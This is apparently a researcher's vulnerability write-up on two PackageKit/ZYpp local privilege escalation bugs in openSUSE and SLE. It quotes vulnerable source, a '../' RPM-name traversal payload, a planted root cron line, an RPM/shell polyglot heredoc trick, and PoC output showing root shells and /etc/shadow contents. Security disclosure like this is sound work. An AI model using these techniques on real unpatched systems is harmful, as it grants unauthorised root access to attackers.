When PackageKit and ZYpp disagree: CVE-2026-104619 and CVE-2026-104620

linux / packagekit / libzypp / polkit / suse / opensuse / lpe / cve-2026-104619 / cve-2026-104620

I’ve been looking at Linux LPEs in my spare time, partly to see how good LLMs are at it now. They helped me dig through big codebases, compare how different distros did things, try ideas and chase more leads than I’d normally have time for. Figuring out what was actually exploitable and getting it working reliably still came down to knowing the targets and testing things for real.
openSUSE logo

PackageKit is a root-owned service on the system D-Bus. Local clients send it package-management requests. Depending on the request, PackageKit either asks polkit or decides that no check is required, then hands the work to a distro backend. On SUSE, that’s ZYpp. I wanted to see whether ZYpp stayed within the operation PackageKit had allowed. It didn’t: I found two ways to make them disagree.

The first bug was a signed-package rollback. An active desktop user could submit an older signed package as a normal update: PackageKit authorized system-update, then ZYpp installed it as root. SUSE PSIRT assigned CVE-2026-104619. I used it to roll PackageKit back to a build affected by public CVE-2026-41651, then installed a small RPM whose %post opened a root shell. The chain was rebootless on fully updated openSUSE Leap 16.0 and SLED 15 SP7 VMs.

The second bug made InstallFiles(SIMULATE) copy an RPM as root without authorization. The RPM Name controlled the destination, so .. escaped the staging directory. SUSE PSIRT assigned CVE-2026-104620. A successful GetUpdates refresh then made libzypp execute the planted RPM from its appdata plugin directory as root.

For the second chain, all I needed was a regular SSH account. It went straight to root without a desktop session, sudo, a reboot or installing a package. This is what I reproduced on the builds I tested in October 2026:

Product CVE-2026-104619: rollback to LPE CVE-2026-104620: direct LPE
openSUSE Leap 16.0 Root shell from active GNOME session Root from a regular SSH account
SLED 15 SP7 Root shell from active GNOME session Root from a regular SSH account
SLES 15 SP7 Blocked by stricter policy Root from a regular SSH account
SLES 16.0 Not tested Root from a regular SSH account
openSUSE Tumbleweed Exact older ID ignored; no rollback Root from a regular SSH account

CVE-2026-104619: downgrading through UpdatePackages

The D-Bus interface accepts exact package IDs and transaction flags. One flag decides which polkit action is used:

Request Flags Polkit action on Leap/SLED
UpdatePackages(ONLY_TRUSTED, [old_id]) 2 org.freedesktop.packagekit.system-update
UpdatePackages(ONLY_TRUSTED|ALLOW_DOWNGRADE, [old_id]) 66 org.freedesktop.packagekit.package-downgrade

The Leap/SLED policy allows system-update for an active user, while package-downgrade requires administrator authentication. PackageKit selects the action from the caller-supplied ALLOW_DOWNGRADE bit (PackageKit v1.2.8, src/pk-transaction.c:2829-2841).

On the Leap/SLED path, ZYpp then resolves the complete caller-supplied package ID and marks that exact solvable for installation:

ui::Selectable::Ptr sel( ui::Selectable::get( solvable ));

PoolItem item(solvable);
// patches are special - they are not installed and can't have update candidates
if (sel->kind() != ResKind::patch) {
    MIL << "sel " << sel->kind() << " " << sel->ident() << endl;
    if (sel->installedEmpty()) {
        zypp_backend_finished_error (job, PK_ERROR_ENUM_DEP_RESOLUTION_FAILED, "Package %s is not installed", package_ids[i]);
        return;
    }
}

item.status ().setToBeInstalled (ResStatus::USER);

It never checks whether the requested package is ZYpp’s current update candidate (sel->updateCandidateObj()), and it does not reject an older edition when ALLOW_DOWNGRADE is absent. ZYpp still resolves dependencies, so matching older packages can be installed without forcing the RPM database.

PackageKit used to stop this. The 2013 fix for CVE-2013-1764 replaced the requested package with ZYpp’s update candidate and failed if no candidate existed. Commit 209aa62950e5, committed on 2024-09-12, removed both steps because it assumed the incoming list already contained the packages to install. On the system bus, however, those package IDs come from an untrusted client and reach the root ZYpp backend.

On a fresh Leap 16 GNOME VM, a normal update request moved PackageKit backwards:

before=PackageKit-1.2.8-160000.5.1.x86_64
target=PackageKit;1.2.8-160000.3.1;x86_64;openSUSE:repo-oss
flags=2
Finished exit=1
after=PackageKit-1.2.8-160000.3.1.x86_64

Finished exit=1 is PackageKit’s numeric success status. With flags 66, PackageKit selected package-downgrade, failed with Failed to obtain authentication, and left .5.1 installed.

For the actual exploit, I rolled PackageKit itself back to .3.1, a build predating the fix for public CVE-2026-41651. The older daemon’s transaction re-invocation flaw let the PoC make PackageKit trust a loopback RPM repository and install a small package whose %post ran as root. CVE-2026-41651 is the second stage, not the cause of the rollback.

On Leap, that got me root:

poc@localhost:~> python3 poc.py --root-shell
[*] uid=1001, mode=root shell
[*] 1/4 rolling back PackageKit
[+] PackageKit-1.2.8-160000.3.1.x86_64
[*] 2/4 preparing signed local repository
[*] 3/4 installing proof package
[*] 4/4 restoring official repository
[+] root shell ready (euid 0)
[+] opening bash
bash-5.2# whoami
root
bash-5.2# id
uid=1001(poc) gid=1001(poc) euid=0(root) groups=1001(poc) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-5.2# head -n2 /etc/shadow
root:!:20730::::::
ftp:!:20730::::::

Tumbleweed was not affected. Its backend checks is_tumbleweed() and calls upgrade_system() before reaching the package-ID loop (PackageKit v1.4.0, pk-backend-zypp.cpp:3579-3585). PackageKit returned success without downgrading anything, while Zypper installed the same old package directly. The backend had taken the full distribution-upgrade path instead of processing the requested ID.

CVE-2026-104620: SIMULATE still copies the RPM

The second bug starts elsewhere and needs none of that rollback chain. A real installation of an unsigned local RPM maps to org.freedesktop.packagekit.package-install-untrusted. With the SIMULATE flag, PackageKit does not ask polkit at all (PackageKit v1.2.8, src/pk-transaction.c:2890-2927):

if (pk_bitfield_contain (transaction->priv->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_ONLY_DOWNLOAD) ||
    pk_bitfield_contain (transaction->priv->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) ||
    priv->skip_auth_check == TRUE) {
        g_debug ("No authentication required");
        pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
        return TRUE;
}

SIMULATE does not stop ZYpp from copying the RPM first (PackageKit v1.2.8, pk-backend-zypp.cpp:2562-2569):

// copy the rpm into tmpdir
string tempDest = tmpDir.path ().asString () + "/" + rpmHeader->tag_name () + ".rpm";
if (zypp::filesystem::copy (full_paths[i], tempDest) != 0) {
    zypp_backend_finished_error (
        job, PK_ERROR_ENUM_LOCAL_INSTALL_FAILED,
        "Could not copy the rpm-file into the temp-dir");
    return;
}

tag_name() comes from the unsigned, attacker-controlled RPMTAG_NAME. The backend never checks that the normalized destination remains beneath tmpDir. libzypp’s copy helper eventually starts:

/bin/cp --remove-destination -- attacker.rpm destination

The write has three constraints: the source has to parse as an RPM, the backend always adds .rpm to the target path, and the file written is the RPM itself.

Gadgets

Cronie: first try

Cronie was the obvious first target. It does not reject the .rpm suffix. It logged the binary package data as malformed lines, then reached a valid entry stored in an RPM header field:

* * * * * root /usr/bin/id >/tmp/proof; rm -f /etc/cron.d/a.rpm

That got UID 0 :-) It was still a poor final gadget: it added Cronie to the chain, the trigger could take a minute, and the parser errors were noisy.

libzypp appdata: the cleaner chain

The better gadget was already sitting in libzypp:

/usr/lib/zypp/plugins/appdata

The directory is root-owned, so I cannot write there directly. PackageKit can. The PoC uses this RPM name:

../../../../usr/lib/zypp/plugins/appdata////////a

which resolves to /usr/lib/zypp/plugins/appdata/a.rpm.

A successful repository refresh marks the RepoManager dirty. When that root RepoManager is destroyed, its destructor scans the directory (libzypp 17.38.15, repomanager.cc:274-284):

for_( it, entries.begin(), entries.end() )
{
  zypp::PathInfo pi( *it );
  //DBG << "/tmp/xx ->" << pi << endl;
  if ( pi.isFile() && pi.userMayRX() )
  {
    // trigger plugin
    cmd[2] = pi.asString();		// [2] - PROGRAM
    zypp::ExternalProgram prog( cmd, zypp::ExternalProgram::Stderr_To_Stdout );
  }
}

The .rpm suffix means nothing to this loader. PackageKit copied the file as an RPM; libzypp now sees an executable regular file in its appdata plugin directory and launches it as a plugin.

Firing it is simple: the PoC calls PackageKit’s unauthenticated GetUpdates query. The ZYpp backend refreshes repositories before returning updates. Once that refresh succeeds, the dirty RepoManager runs the appdata scan as it is destroyed. RefreshCache requires polkit authorization. GetUpdates does not, and it reaches the same loader.

The appdata path avoids Cronie and the one-minute delay. It also needs an enabled repository that refreshes successfully. Without that refresh, the RPM still lands as root, but libzypp does not run it.

The RPM/shell polyglot

The planted file must be both a valid RPM and something the execution path can hand to a shell. The PoC uses the legacy 96-byte RPM lead for a newline and heredoc opener. RPMTAG_DESCRIPTION holds the terminator and command. Changing the Description invalidates the RPM’s stored checksums. The builder recalculates them, leaving a package that RPM tools still accept.

To /bin/sh, the useful part looks like this:

: <<'RPMEND'
... RPM bytes before RPMTAG_DESCRIPTION ...
RPMEND
/bin/sh /tmp/pkz/h;rm -f "$0";exit
... remaining RPM bytes ...

When libzypp launches the file, its spawn engine calls execvp(). The underlying execve() fails with ENOEXEC, so glibc retries the file through /bin/sh. The heredoc skips forward to its terminator in RPMTAG_DESCRIPTION; the next line starts /tmp/pkz/h, removes the planted file and exits before the shell reaches the remaining RPM bytes. The RPM has no scriptlets and is never installed.

libzypp only runs files that root can execute. /bin/cp --remove-destination kept the RPM’s mode, so a 0644 payload landed as root but stopped at userMayRX(). Since the attacker owns the source RPM, chmod 0755 payload.rpm is enough.

A setuid shell in /tmp was a dead end on Tumbleweed because /tmp was mounted nosuid. Moving it elsewhere would only make the PoC depend on the target’s mount layout.

With the payload ready, I can pop a root shell like this:

  • I send InstallFiles(SIMULATE) with the crafted RPM; PackageKit hands it to the root ZYpp backend.
  • The malicious RPM Name makes the backend copy it into /usr/lib/zypp/plugins/appdata/.
  • GetUpdates needs no authentication; its refresh leaves RepoManager dirty.
  • Its destructor scans the appdata directory and starts the executable RPM as a plugin.
  • The command in RPMTAG_DESCRIPTION starts a PTY helper that the PoC staged in /tmp.
  • I connect to its Unix socket and get an interactive root shell.
$ chmod 0755 payload.rpm
$ python3 pwn.py
[*] sending simulated install
[*] triggering appdata refresh
[+] opening root bash
bash-5.3# id
uid=0(root) gid=0(root) groups=0(root)

Nothing else to see here. More when the next distro ships its fixes. :)